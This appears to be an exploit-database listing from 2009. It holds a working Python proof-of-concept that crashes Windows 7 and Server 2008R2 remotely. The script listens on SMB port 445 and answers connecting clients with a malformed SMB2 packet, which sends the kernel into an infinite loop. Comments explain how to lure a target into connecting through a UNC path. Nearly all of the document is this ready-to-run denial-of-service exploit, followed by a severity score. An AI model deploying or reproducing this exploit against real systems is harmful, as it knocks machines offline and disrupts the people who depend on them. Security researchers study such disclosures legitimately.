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Windows 7 / Server 2008R2 Remote Kernel Crash

🗓️ 11 Nov 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Remote kernel crash exploit for Windows 7 and Server 2008R2 causing infinite loo

Code

                                                #!/usr/bin/python
# win7-crash.py:
# Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
# Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an 
#infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffi�

import SocketServer

packet = ("\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")


class SMB2(SocketServer.BaseRequestHandler):

   def handle(self):
        print "Who:", self.client_address
        print "THANKS SDL"
        input = self.request.recv(1024)
        self.request.send(packet)
        self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()
                              

Data

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11 Nov 2009 00:00Current
7.1High risk
Vulners AI Score7.1
13